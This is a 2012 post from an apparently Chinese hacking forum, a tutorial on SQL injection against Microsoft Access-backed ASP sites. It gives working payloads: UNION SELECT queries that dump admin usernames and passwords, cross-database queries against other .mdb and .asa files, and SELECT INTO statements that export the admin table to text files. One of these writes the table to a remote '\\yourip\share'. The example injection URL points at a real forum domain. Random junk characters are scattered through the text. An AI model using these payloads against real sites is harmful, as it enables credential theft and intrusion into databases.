找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2340|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
; J/ s# K: Z9 d+ _" `. S$ Cunion查询法) K) s2 E1 w3 `- v2 Z1 ~6 z# q
首先要说的就是查询办法,一般的查询办法就是$ B  F) q" F: W$ b, R7 e

! z# N. L$ U/ p+ o( s' i( g; |7 p程序代码& _) Y/ [. c" U7 ~) x4 y
and 1=(select count(*) from admin where left(id,1)='1')/ w: T) t. l) }) e/ z
7 r. r. O5 u5 b3 n
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.0 G, [" M: p6 R" l$ b
所以这个时候,union select横空出现.别以为只能在PHP里用哦...1 z1 X. R. f6 z' Y! \) f% v; m
譬如你有一个ACCESS点:, y8 u* E9 I* v. d# O; y
程序代码; p8 e( }9 Y+ ^. P7 L# u
http://bbs.tian6.com/xiaoyang.asp?coder=1! |% a% n$ D6 f+ Q! ~6 I/ `2 c

: R2 ?8 I7 l' Q  M知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
- _$ _5 I4 o' P; ~1 B+ J! q然后我们直接来:/ W/ ]3 i0 y! o3 H. D
程序代码
* f  n" r- ?+ U) g+ ^# b; ?! Khttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]( Z0 Q9 t- X4 p2 I9 v: ]

5 W' `7 P/ L4 j5 [; k这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.% Z4 F: A6 l0 w' Q% ?

) ~  N* G# N+ x' Q/ [- k1 c
; b) s% \3 w$ V2 |5 i7 L$ b( ^3 {/ {8 s
---------------------------------------------------------------& f* H  x5 U" F% N2 J
Access跨库查询% H8 ~/ @( j5 Y2 A3 ^
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.* r1 j& s! w( [  N" Y
跨库的查询语句:' s2 y0 a  a' s0 {3 n
子查询:
5 h! h' e5 a) W' q程序代码" b8 j& L' s% `/ S+ J. ]
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
# p8 p, _1 O. O' M) I- t0 N8 J1 s: V9 @  ~" k: ]9 l
union查询:
9 m4 ?# i9 ]0 h. u: H0 B程序代码
& j% R3 S, o4 W2 @) F# `4 j2 Nunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=17 N) A" O) @9 q" R9 g
' f' A( y; x( Q8 M
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:& t+ n4 [1 G+ A8 B; G4 k9 i& z
程序代码; M( Y" M4 W2 H& f/ a! R! l2 g2 a
http://www.4ngel.net/article/46.htm
6 k5 V9 i4 x6 ?4 s; s. L& Phttp://hf110.com/Article/hack/rqsl/200502/66.html
! u* n) s! b$ G' V
8 Q2 V; \) N5 S- h& U" I! @---------------------------------------------------------------
# Y) E4 k* x, \7 I& r" CAccess注入,导出txt,htm,html6 z$ i& Y  j, |% z6 Z7 g; e
子查询语句:
3 R! M0 P( ]2 v! q7 U2 @* n程序代码7 j$ m4 l1 G, A& G# ~
Select * into [test.txt] in 'd:\web\' 'text;' from admin6 K) x+ R5 m9 F1 }( e# x

. _2 C2 X* Q7 A6 e) Q- q- i这样就把admin表的内容以test类型存进了d:\web里面.  x/ A. c1 a& S$ I4 p. M1 [' k
UNION查询:
. ^. z, A5 u' ^) ~/ P) S程序代码; }- V* L0 S: }' r! D
union select * into [admin.txt] in 'c:\' 'test;' from admin: P, w. o4 h  ~+ C/ ?
3 c; z- z2 E, @" q% [# l
而且这里也可以保存到本地来:$ U: _2 a* c+ m9 P
程序代码/ t# ]7 l" ~1 F/ t) T$ ~
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
# M, h# {, |+ o( |3 Q& s% H7 u& A7 u# u) C
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
4 d0 X3 ]8 W$ h
, V1 `/ q2 `8 p) V程序代码" v( H8 I% C5 G5 [& I& _5 I
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7$ Z+ R1 j6 O) k9 d0 ^

* R% n8 @! R! W; u. ?6 X) |因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
4 ]- z$ u2 ?* d' b* w$ u. J4 m, Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表